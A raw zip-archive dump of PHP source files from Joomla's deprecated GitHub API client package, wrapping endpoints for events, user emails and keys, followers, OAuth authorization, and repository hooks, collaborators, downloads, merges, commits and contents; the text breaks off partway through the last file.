*/ public function getNetwork($owner, $repo) { // Build the request path. $path = '/networks/' . $owner . '/' . $repo . '/events'; return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * List public events for an organization. * * @param string $org Organisation. * * @since 3.1.4 * @return object */ public function getOrg($org) { // Build the request path. $path = '/orgs/' . $org . '/events'; return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * List events that a user has received. * * These are events that you’ve received by watching repos and following users. * If you are authenticated as the given user, you will see private events. * Otherwise, you’ll only see public events. * * @param string $user User name. * * @since 3.1.4 * @return object */ public function getUser($user) { // Build the request path. $path = '/users/' . $user . '/received_events'; return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * List public events that a user has received. * * @param string $user User name. * * @since 3.1.4 * @return object */ public function getUserPublic($user) { // Build the request path. $path = '/users/' . $user . '/received_events/public'; return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * List events performed by a user. * * If you are authenticated as the given user, you will see your private events. * Otherwise, you’ll only see public events. * * @param string $user User name. * * @since 3.1.4 * @return object */ public function getByUser($user) { // Build the request path. $path = '/users/' . $user . '/events'; return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * List public events performed by a user. * * @param string $user User name. * * @since 3.1.4 * @return object */ public function getByUserPublic($user) { // Build the request path. $path = '/users/' . $user . '/events/public'; return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * List events for an organization. * * This is the user’s organization dashboard. * You must be authenticated as the user to view this. * * @param string $user User name. * @param string $org Organisation. * * @since 3.1.4 * @return object */ public function getUserOrg($user, $org) { // Build the request path. $path = '/users/' . $user . '/events/orgs/' . $org; return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } } PK�\&�i""&joomla/github/package/users/emails.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage GitHub * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * GitHub API References class for the Joomla Platform. * * Management of email addresses via the API requires that you are authenticated * through basic auth or OAuth with the user scope. * * @documentation https://developer.github.com/v3/users/emails * * @since 3.1.4 * @deprecated 4.0 Use the `joomla/github` package via Composer instead */ class JGithubPackageUsersEmails extends JGithubPackage { /** * List email addresses for a user. * * Future response: * In the final version of the API, this method will return an array of hashes * with extended information for each email address indicating if the address * has been verified and if it’s the user’s primary email address for GitHub. * * Until API v3 is finalized, use the application/vnd.github.v3 media type * to get this response format. * * @since 3.3 (CMS) * * @return object */ public function getList() { // Build the request path. $path = '/user/emails'; return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * Add email address(es). * * @param string|array $email The email address(es). * * @since 3.3 (CMS) * * @return object */ public function add($email) { // Build the request path. $path = '/user/emails'; return $this->processResponse( $this->client->post($this->fetchUrl($path), json_encode($email)), 201 ); } /** * Delete email address(es). * * @param string|array $email The email address(es). * * @since 3.3 (CMS) * * @return object */ public function delete($email) { // Build the request path. $path = '/user/emails'; $this->client->setOption('body', json_encode($email)); return $this->processResponse( $this->client->delete($this->fetchUrl($path)), 204 ); } } PK�\ ����$joomla/github/package/users/keys.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage GitHub * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * GitHub API References class for the Joomla Platform. * * @documentation https://developer.github.com/v3/users/keys * * @since 3.1.4 * @deprecated 4.0 Use the `joomla/github` package via Composer instead */ class JGithubPackageUsersKeys extends JGithubPackage { /** * List public keys for a user. * * Lists the verified public keys for a user. This is accessible by anyone. * * @param string $user The name of the user. * * @since 3.3 (CMS) * * @return object */ public function getListUser($user) { // Build the request path. $path = '/users/' . $user . '/keys'; return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * List your public keys. * * Lists the current user’s keys. * Management of public keys via the API requires that you are authenticated * through basic auth, or OAuth with the ‘user’ scope. * * @since 3.3 (CMS) * * @return object */ public function getList() { // Build the request path. $path = '/users/keys'; return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * Get a single public key. * * @param integer $id The id of the key. * * @since 3.3 (CMS) * * @return object */ public function get($id) { // Build the request path. $path = '/users/keys/' . $id; return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * Create a public key * * @param string $title The title of the key. * @param string $key The key. * * @since 3.3 (CMS) * * @return object */ public function create($title, $key) { // Build the request path. $path = '/users/keys'; $data = array( 'title' => $title, 'key' => $key, ); return $this->processResponse( $this->client->post($this->fetchUrl($path), json_encode($data)), 201 ); } /** * Update a public key. * * @param integer $id The id of the key. * @param string $title The title of the key. * @param string $key The key. * * @since 3.3 (CMS) * * @return object */ public function edit($id, $title, $key) { // Build the request path. $path = '/users/keys/' . $id; $data = array( 'title' => $title, 'key' => $key, ); return $this->processResponse( $this->client->patch($this->fetchUrl($path), json_encode($data)) ); } /** * Delete a public key. * * @param integer $id The id of the key. * * @since 3.3 (CMS) * * @return object */ public function delete($id) { // Build the request path. $path = '/users/keys/' . (int) $id; return $this->processResponse( $this->client->delete($this->fetchUrl($path)), 204 ); } } PK�\��I��)joomla/github/package/users/followers.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage GitHub * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * GitHub API References class for the Joomla Platform. * * @documentation https://developer.github.com/v3/users/followers * * @since 3.1.4 * @deprecated 4.0 Use the `joomla/github` package via Composer instead */ class JGithubPackageUsersFollowers extends JGithubPackage { /** * List followers of a user. * * @param string $user The name of the user. If not set the current authenticated user will be used. * * @since 3.3 (CMS) * * @return object */ public function getList($user = '') { // Build the request path. $path = ($user) ? '/users/' . $user . '/followers' : '/user/followers'; return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * List users followed by another user. * * @param string $user The name of the user. If not set the current authenticated user will be used. * * @since 3.3 (CMS) * * @return object */ public function getListFollowedBy($user = '') { // Build the request path. $path = ($user) ? '/users/' . $user . '/following' : '/user/following'; return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * Check if you are following a user. * * @param string $user The name of the user. * * @throws UnexpectedValueException * @since 3.3 (CMS) * * @return boolean */ public function check($user) { // Build the request path. $path = '/user/following/' . $user; $response = $this->client->get($this->fetchUrl($path)); switch ($response->code) { case '204' : // You are following this user return true; break; case '404' : // You are not following this user return false; break; default : throw new UnexpectedValueException('Unexpected response code: ' . $response->code); break; } } /** * Follow a user. * * Following a user requires the user to be logged in and authenticated with * basic auth or OAuth with the user:follow scope. * * @param string $user The name of the user. * * @since 3.3 (CMS) * * @return object */ public function follow($user) { // Build the request path. $path = '/user/following/' . $user; return $this->processResponse( $this->client->put($this->fetchUrl($path), ''), 204 ); } /** * Unfollow a user. * * Unfollowing a user requires the user to be logged in and authenticated with * basic auth or OAuth with the user:follow scope. * * @param string $user The name of the user. * * @since 3.3 (CMS) * * @return object */ public function unfollow($user) { // Build the request path. $path = '/user/following/' . $user; return $this->processResponse( $this->client->delete($this->fetchUrl($path)), 204 ); } } PK�\@Ek��"joomla/github/package/markdown.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage GitHub * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; /** * GitHub API Markdown class. * * @documentation https://developer.github.com/v3/markdown * * @since 3.3 (CMS) * @deprecated 4.0 Use the `joomla/github` package via Composer instead */ class JGithubPackageMarkdown extends JGithubPackage { /** * Method to render a markdown document. * * @param string $text The text object being parsed. * @param string $mode The parsing mode; valid options are 'markdown' or 'gfm'. * @param string $context An optional repository context, only used in 'gfm' mode. * * @since 3.3 (CMS) * @throws DomainException * @throws InvalidArgumentException * * @return string Formatted HTML */ public function render($text, $mode = 'gfm', $context = null) { // The valid modes $validModes = array('gfm', 'markdown'); // Make sure the scope is valid if (!in_array($mode, $validModes)) { throw new InvalidArgumentException(sprintf('The %s mode is not valid. Valid modes are "gfm" or "markdown".', $mode)); } // Build the request path. $path = '/markdown'; // Build the request data. $data = str_replace('\\/', '/', json_encode( array( 'text' => $text, 'mode' => $mode, 'context' => $context, ) ) ); // Send the request. $response = $this->client->post($this->fetchUrl($path), $data); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); $message = (isset($error->message)) ? $error->message : 'Error: ' . $response->code; throw new DomainException($message, $response->code); } return $response->body; } } PK�\�K&�� � 'joomla/github/package/authorization.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage GitHub * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * GitHub API Authorization class for the Joomla Platform. * * @documentation https://developer.github.com/v3/oauth/ * * @since 3.1.4 * @deprecated 4.0 Use the `joomla/github` package via Composer instead */ class JGithubPackageAuthorization extends JGithubPackage { /** * Method to create an authorization. * * @param array $scopes A list of scopes that this authorization is in. * @param string $note A note to remind you what the OAuth token is for. * @param string $url A URL to remind you what app the OAuth token is for. * * @throws DomainException * @since 3.1.4 * * @return object */ public function create(array $scopes = array(), $note = '', $url = '') { // Build the request path. $path = '/authorizations'; $data = json_encode( array('scopes' => $scopes, 'note' => $note, 'note_url' => $url) ); // Send the request. $response = $this->client->post($this->fetchUrl($path), $data); // Validate the response code. if ($response->code != 201) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to delete an authorization * * @param integer $id ID of the authorization to delete * * @throws DomainException * @since 3.1.4 * * @return object */ public function delete($id) { // Build the request path. $path = '/authorizations/' . $id; // Send the request. $response = $this->client->delete($this->fetchUrl($path)); // Validate the response code. if ($response->code != 204) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to edit an authorization. * * @param integer $id ID of the authorization to edit * @param array $scopes Replaces the authorization scopes with these. * @param array $addScopes A list of scopes to add to this authorization. * @param array $removeScopes A list of scopes to remove from this authorization. * @param string $note A note to remind you what the OAuth token is for. * @param string $url A URL to remind you what app the OAuth token is for. * * @throws RuntimeException * @throws DomainException * @since 3.1.4 * * @return object */ public function edit($id, array $scopes = array(), array $addScopes = array(), array $removeScopes = array(), $note = '', $url = '') { // Check if more than one scopes array contains data $scopesCount = 0; if (!empty($scopes)) { $scope = 'scopes'; $scopeData = $scopes; $scopesCount++; } if (!empty($addScopes)) { $scope = 'add_scopes'; $scopeData = $addScopes; $scopesCount++; } if (!empty($removeScopes)) { $scope = 'remove_scopes'; $scopeData = $removeScopes; $scopesCount++; } // Only allowed to send data for one scope parameter if ($scopesCount >= 2) { throw new RuntimeException('You can only send one scope key in this request.'); } // Build the request path. $path = '/authorizations/' . $id; $data = json_encode( array( $scope => $scopeData, 'note' => $note, 'note_url' => $url, ) ); // Send the request. $response = $this->client->patch($this->fetchUrl($path), $data); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to get details about an authorised application for the authenticated user. * * @param integer $id ID of the authorization to retrieve * * @throws DomainException * @since 3.1.4 * @note This method will only accept Basic Authentication * * @return object */ public function get($id) { // Build the request path. $path = '/authorizations/' . $id; // Send the request. $response = $this->client->get($this->fetchUrl($path)); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to get the authorised applications for the authenticated user. * * @throws DomainException * @since 3.1.4 * @note This method will only accept Basic Authentication * * @return object */ public function getList() { // Build the request path. $path = '/authorizations'; // Send the request. $response = $this->client->get($this->fetchUrl($path)); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to get the rate limit for the authenticated user. * * @throws DomainException * @since 3.1.4 * * @return object */ public function getRateLimit() { // Build the request path. $path = '/rate_limit'; // Send the request. $response = $this->client->get($this->fetchUrl($path)); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * 1. Request authorization on GitHub. * * @param string $clientId The client ID you received from GitHub when you registered. * @param string $redirectUri URL in your app where users will be sent after authorization. * @param string $scope Comma separated list of scopes. * @param string $state An unguessable random string. It is used to protect against * cross-site request forgery attacks. * * @since 3.3 (CMS) * * @return JUri */ public function getAuthorizationLink($clientId, $redirectUri = '', $scope = '', $state = '') { $uri = new JUri('https://github.com/login/oauth/authorize'); $uri->setVar('client_id', $clientId); if ($redirectUri) { $uri->setVar('redirect_uri', urlencode($redirectUri)); } if ($scope) { $uri->setVar('scope', $scope); } if ($state) { $uri->setVar('state', $state); } return (string) $uri; } /** * 2. Request the access token. * * @param string $clientId The client ID you received from GitHub when you registered. * @param string $clientSecret The client secret you received from GitHub when you registered. * @param string $code The code you received as a response to Step 1. * @param string $redirectUri URL in your app where users will be sent after authorization. * @param string $format The response format (json, xml, ). * * @throws UnexpectedValueException * @since 3.3 (CMS) * * @return string */ public function requestToken($clientId, $clientSecret, $code, $redirectUri = '', $format = '') { $uri = 'https://github.com/login/oauth/access_token'; $data = array( 'client_id' => $clientId, 'client_secret' => $clientSecret, 'code' => $code, ); if ($redirectUri) { $data['redirect_uri'] = $redirectUri; } $headers = array(); switch ($format) { case 'json' : $headers['Accept'] = 'application/json'; break; case 'xml' : $headers['Accept'] = 'application/xml'; break; default : if ($format) { throw new UnexpectedValueException('Invalid format'); } break; } // Send the request. return $this->processResponse( $this->client->post($uri, $data, $headers), 200, false ); } } PK�\����,joomla/github/package/repositories/hooks.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage GitHub * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * GitHub API Hooks class for the Joomla Platform. * * @documentation https://developer.github.com/v3/repos/hooks * * @since 3.1.4 * @deprecated 4.0 Use the `joomla/github` package via Composer instead */ class JGithubPackageRepositoriesHooks extends JGithubPackage { /** * Array containing the allowed hook events * * @var array * @since 3.1.4 */ protected $events = array( 'push', 'issues', 'issue_comment', 'commit_comment', 'pull_request', 'gollum', 'watch', 'download', 'fork', 'fork_apply', 'member', 'public', 'status', ); /** * Method to create a hook on a repository. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $name The name of the service being called. * @param array $config Array containing the config for the service. * @param array $events The events the hook will be triggered for. * @param boolean $active Flag to determine if the hook is active * * @return object * * @since 3.1.4 * @throws DomainException * @throws RuntimeException */ public function create($user, $repo, $name, $config, array $events = array('push'), $active = true) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/hooks'; // Check to ensure all events are in the allowed list foreach ($events as $event) { if (!in_array($event, $this->events)) { throw new RuntimeException('Your events array contains an unauthorized event.'); } } $data = json_encode( array('name' => $name, 'config' => $config, 'events' => $events, 'active' => $active) ); return $this->processResponse( $this->client->post($this->fetchUrl($path), $data), 201 ); } /** * Method to delete a hook * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $id ID of the hook to delete. * * @return object * * @since 3.1.4 * @throws DomainException */ public function delete($user, $repo, $id) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/hooks/' . $id; return $this->processResponse( $this->client->delete($this->fetchUrl($path)), 204 ); } /** * Method to edit a hook. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $id ID of the hook to edit. * @param string $name The name of the service being called. * @param array $config Array containing the config for the service. * @param array $events The events the hook will be triggered for. This resets the currently set list * @param array $addEvents Events to add to the hook. * @param array $removeEvents Events to remove from the hook. * @param boolean $active Flag to determine if the hook is active * * @return object * * @since 3.1.4 * @throws DomainException * @throws RuntimeException */ public function edit($user, $repo, $id, $name, $config, array $events = array('push'), array $addEvents = array(), array $removeEvents = array(), $active = true) { // Check to ensure all events are in the allowed list foreach ($events as $event) { if (!in_array($event, $this->events)) { throw new RuntimeException('Your events array contains an unauthorized event.'); } } foreach ($addEvents as $event) { if (!in_array($event, $this->events)) { throw new RuntimeException('Your active_events array contains an unauthorized event.'); } } foreach ($removeEvents as $event) { if (!in_array($event, $this->events)) { throw new RuntimeException('Your remove_events array contains an unauthorized event.'); } } // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/hooks/' . $id; $data = json_encode( array( 'name' => $name, 'config' => $config, 'events' => $events, 'add_events' => $addEvents, 'remove_events' => $removeEvents, 'active' => $active, ) ); return $this->processResponse( $this->client->patch($this->fetchUrl($path), $data) ); } /** * Method to get details about a single hook for the repository. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $id ID of the hook to retrieve * * @return object * * @since 3.1.4 * @throws DomainException */ public function get($user, $repo, $id) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/hooks/' . $id; return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * Method to list hooks for a repository. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * * @return object * * @since 3.1.4 * @throws DomainException */ public function getList($user, $repo) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/hooks'; return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * Method to test a hook against the latest repository commit * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $id ID of the hook to delete * * @return object * * @since 3.1.4 * @throws DomainException */ public function test($user, $repo, $id) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/hooks/' . $id . '/test'; return $this->processResponse( $this->client->post($this->fetchUrl($path), json_encode('')), 204 ); } } PK�\`A�~..4joomla/github/package/repositories/collaborators.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage GitHub * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * GitHub API Repositories Collaborators class for the Joomla Platform. * * @documentation https://developer.github.com/v3/repos/collaborators * * @since 1.7.3 * @deprecated 4.0 Use the `joomla/github` package via Composer instead */ class JGithubPackageRepositoriesCollaborators extends JGithubPackage { /** * List. * * When authenticating as an organization owner of an organization-owned repository, all organization * owners are included in the list of collaborators. Otherwise, only users with access to the repository * are returned in the collaborators list. * * @param string $owner The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * * @since 3.3 (CMS) * * @return object */ public function getList($owner, $repo) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/collaborators'; return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * Test if a user is a collaborator. * * @param string $owner The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $user The name of the GitHub user. * * @throws UnexpectedValueException * @since 3.3 (CMS) * * @return boolean */ public function get($owner, $repo, $user) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/collaborators/' . $user; $response = $this->client->get($this->fetchUrl($path)); switch ($response->code) { case '204'; return true; break; case '404'; return false; break; default; throw new UnexpectedValueException('Unexpected code: ' . $response->code); break; } } /** * Add collaborator. * * @param string $owner The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $user The name of the GitHub user. * * @since 3.3 (CMS) * * @return object */ public function add($owner, $repo, $user) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/collaborators/' . $user; return $this->processResponse( $this->client->put($this->fetchUrl($path), ''), 204 ); } /** * Remove collaborator. * * @param string $owner The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $user The name of the GitHub user. * * @since 3.3 (CMS) * * @return object */ public function remove($owner, $repo, $user) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/collaborators/' . $user; return $this->processResponse( $this->client->delete($this->fetchUrl($path)), 204 ); } } PK�\s��ww0joomla/github/package/repositories/downloads.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage GitHub * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * GitHub API Repositories Downloads class for the Joomla Platform. * * The downloads API is for package downloads only. * If you want to get source tarballs you should use * https://developer.github.com/v3/repos/contents/#get-archive-link instead. * * @documentation https://developer.github.com/v3/repos/downloads * * @since 1.7.3 * @deprecated 4.0 Use the `joomla/github` package via Composer instead */ class JGithubPackageRepositoriesDownloads extends JGithubPackage { /** * List downloads for a repository. * * @param string $owner The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * * @since 3.3 (CMS) * * @return object */ public function getList($owner, $repo) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/downloads'; // Send the request. return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * Get a single download. * * @param string $owner The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $id The id of the download. * * @since 3.3 (CMS) * * @return object */ public function get($owner, $repo, $id) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/downloads/' . $id; // Send the request. return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * Create a new download (Part 1: Create the resource). * * Creating a new download is a two step process. You must first create a new download resource. * * @param string $owner The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $name The name. * @param string $size Size of file in bytes. * @param string $description The description. * @param string $contentType The content type. * * @since 3.3 (CMS) * * @return object */ public function create($owner, $repo, $name, $size, $description = '', $contentType = '') { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/downloads'; $data = array( 'name' => $name, 'size' => $size, ); if ($description) { $data['description'] = $description; } if ($contentType) { $data['content_type'] = $contentType; } // Send the request. return $this->processResponse( $this->client->post($this->fetchUrl($path), $data), 201 ); } /** * Create a new download (Part 2: Upload file to s3). * * Now that you have created the download resource, you can use the information * in the response to upload your file to s3. This can be done with a POST to * the s3_url you got in the create response. Here is a brief example using curl: * * curl \ * -F "key=downloads/octocat/Hello-World/new_file.jpg" \ * -F "acl=public-read" \ * -F "success_action_status=201" \ * -F "Filename=new_file.jpg" \ * -F "AWSAccessKeyId=1ABCDEF..." \ * -F "Policy=ewogIC..." \ * -F "Signature=mwnF..." \ * -F "Content-Type=image/jpeg" \ * -F "file=@new_file.jpg" \ * https://github.s3.amazonaws.com/ * * NOTES * The order in which you pass these fields matters! Follow the order shown above exactly. * All parameters shown are required and if you excluded or modify them your upload will * fail because the values are hashed and signed by the policy. * * More information about using the REST API to interact with s3 can be found here: * http://docs.amazonwebservices.com/AmazonS3/latest/API/ * * @param string $key Value of path field in the response. * @param string $acl Value of acl field in the response. * @param string $successActionStatus 201, or whatever you want to get back. * @param string $filename Value of name field in the response. * @param string $awsAccessKeyId Value of accesskeyid field in the response. * @param string $policy Value of policy field in the response. * @param string $signature Value of signature field in the response. * @param string $contentType Value of mime_type field in the response. * @param string $file Local file. Example assumes the file existing in the directory * where you are running the curl command. Yes, the @ matters. * * @since 3.3 (CMS) * * @return boolean */ public function upload($key, $acl, $successActionStatus, $filename, $awsAccessKeyId, $policy, $signature, $contentType, $file) { // Build the request path. $url = 'https://github.s3.amazonaws.com/'; $data = array( 'key' => $key, 'acl' => $acl, 'success_action_status' => (int) $successActionStatus, 'Filename' => $filename, 'AWSAccessKeyId' => $awsAccessKeyId, 'Policy' => $policy, 'Signature' => $signature, 'Content-Type' => $contentType, 'file' => $file, ); // Send the request. $response = $this->client->post($url, $data); // @todo Process the response.. return (201 == $response->code) ? true : false; } /** * Delete a download. * * @param string $owner The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $id The id of the download. * * @since 3.3 (CMS) * * @return object */ public function delete($owner, $repo, $id) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/downloads/' . (int) $id; // Send the request. return $this->processResponse( $this->client->delete($this->fetchUrl($path)), 204 ); } } PK�\yIC�� � .joomla/github/package/repositories/merging.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage GitHub * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * GitHub API Repositories Merging class for the Joomla Platform. * * @documentation https://developer.github.com/v3/repos/merging * * @since 1.7.3 * @deprecated 4.0 Use the `joomla/github` package via Composer instead */ class JGithubPackageRepositoriesMerging extends JGithubPackage { /** * Perform a merge. * * @param string $owner The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $base The name of the base branch that the head will be merged into. * @param string $head The head to merge. This can be a branch name or a commit SHA1. * @param string $commitMessage Commit message to use for the merge commit. * If omitted, a default message will be used. * * @throws UnexpectedValueException * @since 3.3.0 * * @return boolean */ public function perform($owner, $repo, $base, $head, $commitMessage = '') { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/merges'; $data = new stdClass; $data->base = $base; $data->head = $head; if ($commitMessage) { $data->commit_message = $commitMessage; } // Send the request. $response = $this->client->post($this->fetchUrl($path), json_encode($data)); switch ($response->code) { case '201': // Success return json_decode($response->body); break; case '204': // No-op response (base already contains the head, nothing to merge) throw new UnexpectedValueException('Nothing to merge'); break; case '404': // Missing base or Missing head response $error = json_decode($response->body); $message = (isset($error->message)) ? $error->message : 'Missing base or head: ' . $response->code; throw new UnexpectedValueException($message); break; case '409': // Merge conflict response $error = json_decode($response->body); $message = (isset($error->message)) ? $error->message : 'Merge conflict ' . $response->code; throw new UnexpectedValueException($message); break; default : throw new UnexpectedValueException('Unexpected response code: ' . $response->code); break; } } } PK�\����//.joomla/github/package/repositories/commits.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage GitHub * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * GitHub API Repositories Commits class for the Joomla Platform. * * @documentation https://developer.github.com/v3/repos/commits * * @since 1.7.3 * @deprecated 4.0 Use the `joomla/github` package via Composer instead */ class JGithubPackageRepositoriesCommits extends JGithubPackage { /** * Method to list commits for a repository. * * A special note on pagination: Due to the way Git works, commits are paginated based on SHA * instead of page number. * Please follow the link headers as outlined in the pagination overview instead of constructing * page links yourself. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $sha Sha or branch to start listing commits from. * @param string $path Only commits containing this file path will be returned. * @param string $author GitHub login, name, or email by which to filter by commit author. * @param JDate $since ISO 8601 Date - Only commits after this date will be returned. * @param JDate $until ISO 8601 Date - Only commits before this date will be returned. * * @throws DomainException * @since 3.0.0 * * @return array */ public function getList($user, $repo, $sha = '', $path = '', $author = '', JDate $since = null, JDate $until = null) { // Build the request path. $rPath = '/repos/' . $user . '/' . $repo . '/commits?'; $rPath .= ($sha) ? '&sha=' . $sha : ''; $rPath .= ($path) ? '&path=' . $path : ''; $rPath .= ($author) ? '&author=' . $author : ''; $rPath .= ($since) ? '&since=' . $since->toISO8601() : ''; $rPath .= ($until) ? '&until=' . $until->toISO8601() : ''; // Send the request. $response = $this->client->get($this->fetchUrl($rPath)); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to get a single commit for a repository. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $sha The SHA of the commit to retrieve. * * @throws DomainException * @since 3.0.0 * * @return array */ public function get($user, $repo, $sha) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/commits/' . $sha; // Send the request. $response = $this->client->get($this->fetchUrl($path)); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to get a diff for two commits. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $base The base of the diff, either a commit SHA or branch. * @param string $head The head of the diff, either a commit SHA or branch. * * @return array * * @since 3.0.0 */ public function compare($user, $repo, $base, $head) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/compare/' . $base . '...' . $head; // Send the request. return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } } PK�\�\(���/joomla/github/package/repositories/contents.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage GitHub * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * GitHub API Repositories Contents class for the Joomla Platform. * * These API methods let you retrieve the contents of files within a repository as Base64 encoded content. * See media types for requesting raw or other formats. * * @documentation https://developer.github.com/v3/repos/contents * * @since 1.7.3 * @deprecated 4.0 Use the `joomla/github` package via Composer instead */ class JGithubPackageRepositoriesContents extends JGithubPackage { /** * Get the README * * This method returns the preferred README for a repository. * * GET /repos/:owner/:repo/readme * * Parameters * * ref * Optional string - The String name of the Commit/Branch/Tag. Defaults to master. * * Response * * Status: 200 OK * X-RateLimit-Limit: 5000 * X-RateLimit-Remaining: 4999 * * { * "type": "file", * "encoding": "base64", * "_links": { * "git": "https://api.github.com/repos/octokit/octokit.rb/git/blobs/3d21ec53a331a6f037a91c368710b99387d012c1", * "self": "https://api.github.com/repos/octokit/octokit.rb/contents/README.md", * "html": "https://github.com/octokit/octokit.rb/blob/master/README.md" * }, * "size": 5362, * "name": "README.md", * "path": "README.md", * "content": "encoded content ...", * "sha": 